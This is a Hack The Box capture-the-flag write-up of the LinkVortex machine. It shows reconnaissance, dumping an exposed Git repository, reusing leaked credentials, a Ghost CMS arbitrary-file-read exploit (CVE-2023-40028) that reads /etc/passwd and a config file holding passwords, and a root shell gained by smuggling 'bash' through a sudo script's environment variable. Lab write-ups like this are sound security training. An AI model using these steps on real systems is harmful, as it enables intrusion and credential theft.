#hackthebox #linux #easy
![[Pasted image 20250821000452.png]]
# Information Gathering - Nmap
I opened the box with scanning all TCP ports and discovered 2 open ports: 22 and 80
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -Pn -n --open --min-rate 3000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 02:02 UTC
Nmap scan report for 10.10.11.47
Host is up (0.061s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.41 seconds
```
After that, I ran another TCP port scan against ports 22 and 80 using the `-sCV` option.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sCV -p 22,80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 02:04 UTC
Nmap scan report for 10.10.11.47
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds
```
Lastly, I performed a UDP scan on the top 10 ports.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sU --top-ports 10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 02:10 UTC
Nmap scan report for 10.10.11.47
Host is up (0.048s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp open|filtered dhcps
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
161/udp closed snmp
445/udp open|filtered microsoft-ds
631/udp closed ipp
1434/udp closed ms-sql-m
Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds
```
# Enumeration
##### HTTP - TCP 80
I mapped the IP address and the domain in the `/etc/hosts` file.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ echo '10.10.11.47 linkvortex.htb' | sudo tee -a /etc/hosts
[sudo] password for kali:
10.10.11.47 linkvortex.htb
```
The landing page on port 80 looks like this.
![[Pasted image 20250820212041.png]]
`/robots.txt` has some entries for me to explore.
![[Pasted image 20250820212439.png]]
`/sitemap.xml` says this page is generated by `Ghost` to allow search engines to discover this blog's content. I also figured this site was built with `Ghost` by looking at the footer.
![[Pasted image 20250820212544.png]]
![[Pasted image 20250820212801.png]]
`/ghost` reveals a login form
![[Pasted image 20250820212601.png]]
Enumerating for subdomains revealed `dev.linkvortex.htb`
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -u http://$IP -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.linkvortex.htb" -fw 14
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.47
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.linkvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 14
________________________________________________
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 54ms]
:: Progress: [4989/4989] :: Job [1/1] :: 840 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
```
`dev.linkvortex.htb` has nothing but a sign that announces the site is still under construction.
![[Pasted image 20250820215400.png]]
I hit a dead end, so I tried running `nmap` again but this time against the domain and the subdomain I discovered.
Nmap against the domain revealed `/robots.txt`, which it didn't output when I ran it against the IP address.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sCV linkvortex.htb -p 80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 02:58 UTC
Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
|_http-generator: Ghost 5.58
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-title: BitByBit Hardware
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
```
I found a `Git` repository when I ran `nmap` against the subdomain `dev.linkvortex.htb`.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap dev.linkvortex.htb -sCV -p 80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 03:03 UTC
Nmap scan report for dev.linkvortex.htb (10.10.11.47)
Host is up (0.048s latency).
rDNS record for 10.10.11.47: linkvortex.htb
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
| http-git:
| 10.10.11.47:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
|_ https://github.com/TryGhost/Ghost.git
|_http-server-header: Apache
|_http-title: Launching Soon
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.38 seconds
```
![[Pasted image 20250820220528.png]]
I dumped the whoe `.git` directory with `git-dumper`
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ git-dumper http://dev.linkvortex.htb/.git git_loot
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
...
<SNIP>
...
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index
```
`git status` command reveals that two files are currently in stage meaning there have been changes to those two files.
```bash
┌──(kali㉿kali)-[~/Desktop/git_loot]
└─$ git status
Not currently on any branch.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js
```
`Dockerfile.ghost`
```bash
┌──(kali㉿kali)-[~/Desktop/git_loot]
└─$ git diff --staged Dockerfile.ghost
diff --git a/Dockerfile.ghost b/Dockerfile.ghost
new file mode 100644
index 0000000..50864e0
--- /dev/null
+++ b/Dockerfile.ghost
@@ -0,0 +1,16 @@
+FROM ghost:5.58.0
+
+# Copy the config
+COPY config.production.json /var/lib/ghost/config.production.json
+
+# Prevent installing packages
+RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
+
+# Wait for the db to be ready first
+COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
+COPY entry.sh /entry.sh
+RUN chmod +x /var/lib/ghost/wait-for-it.sh
+RUN chmod +x /entry.sh
+
+ENTRYPOINT ["/entry.sh"]
+CMD ["node", "current/index.js"]
```
`ghost/core/test/regression/api/admin/authentication.test.js` reveals a set of credentials.
`
[email protected]:OctopiFociPilfer45`. The original password was `thisissupersafe`
```bash
┌──(kali㉿kali)-[~/Desktop/git_loot]
└─$ git diff --staged ghost/core/test/regression/api/admin/authentication.test.js
diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js
index 2735588..e654b0e 100644
--- a/ghost/core/test/regression/api/admin/authentication.test.js
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
it('complete setup', async function () {
const email = '
[email protected]';
- const password = 'thisissupersafe';
+ const password = 'OctopiFociPilfer45';
const requestMock = nock('https://api.github.com')
.get('/repos/tryghost/dawn/zipball')
```
I tried the credentials found, but they did not work on `/ghost`.
![[Pasted image 20250820224011.png]]
I changed the email address to `
[email protected]` and it worked!
![[Pasted image 20250820224111.png]]
I successfully logged in as `
[email protected]`
![[Pasted image 20250820224424.png]]
From the 2nd `Nmap` output, we saw the version of `Ghost` running is `5.58`. Searching for `Ghost 5.58 exploit` led me to this Github repo.
Apparently therer was a known CVE to this version of Ghost CMS. `CVE-2023-40028`
![[Pasted image 20250820225754.png]]
# Initial Access - Shell as `bob`
I downloaded the exploit.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ ./CVE-2023-40028 -h
./CVE-2023-40028: option requires an argument -- h
Usage: ./CVE-2023-40028 -u <username> -p <password> -h <host_url>
Example: ./CVE-2023-40028 -u admin -p admin123 -h http://127.0.0.1
```
Okay, the exploit is working perfectly when I used the credentials and the URL passed as parameters.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ ./CVE-2023-40028 -u '
[email protected]' -p 'OctopiFociPilfer45' -h 'http://linkvortex.htb'
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
```
Remember that we saw `Dockerfile.ghost` revealed the path of the config file. I entered the file path `/var/lib/ghost/config.production.json` and it returned the file content including the credentials of user `bob`.
`
[email protected]:fibber-talented-worth`
```bash
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "
[email protected]",
"pass": "fibber-talented-worth"
}
}
}
}
```
The password format is very unusual. I tested the credentials against the login form of `/ghost` but they didn't work.
![[Pasted image 20250820231628.png]]
However, they worked against the SSH server!
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh bob@$IP
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec 3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$ whoami
bob
```
I found `user.txt`
```bash
bob@linkvortex:~$ cat user.txt
b35...
```
# Privilege Escalation - shell as `root`
`sudo -l` shows that `bob` can execute the following command as `sudo`.
```bash
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
```
I'll briefly explain what `/opt/ghost/clean_symlink.sh` does:
1. Accepts a `.png` file path as the first argument.
2. Checks if it's a symbolic link
3. Blocks links pointing to critical system paths: `/etc` or `/root`
4. Move safe links to a quarantine directory.
5. Optionally displays the contents if `CHECK_CONTENT=true`.
```bash
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
```
I'm going to exploit `$CHECK_CONTENT` variable.
The author of this code is expecting `$CHECK_CONTENT` variable to have a value of either `true` or `false`. However, if you think about it, `true` is equivalent to `1` and `false` is equivalent to `0`.
```bash
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
```
However, I can pass other commands to the variable. First, I still need to create a symlink.
```bash
bob@linkvortex:~$ ln -s wook.png
bob@linkvortex:~$ ls -l wook.png
lrwxrwxrwx 1 bob bob 8 Aug 21 04:56 wook.png -> wook.png
```
Now run the following command.
```bash
CHECK_CONTENT=bash sudo bash /opt/ghost/clean_symlink.sh wook.png
```
Internally, this will run like this and `bash` will be executed with `root` privileges because the script itself was run with `sudo`.
```bash
if bash; then
...
fi
```
Got an interactive shell as `root`.
```bash
bob@linkvortex:~$ CHECK_CONTENT=bash sudo bash /opt/ghost/clean_symlink.sh wook.png
Link found [ wook.png ] , moving it to quarantine
root@linkvortex:/home/bob# whoami
root
```
Found `root.txt`
```bash
root@linkvortex:~# ls
root.txt
root@linkvortex:~# cat root.txt
c67...
```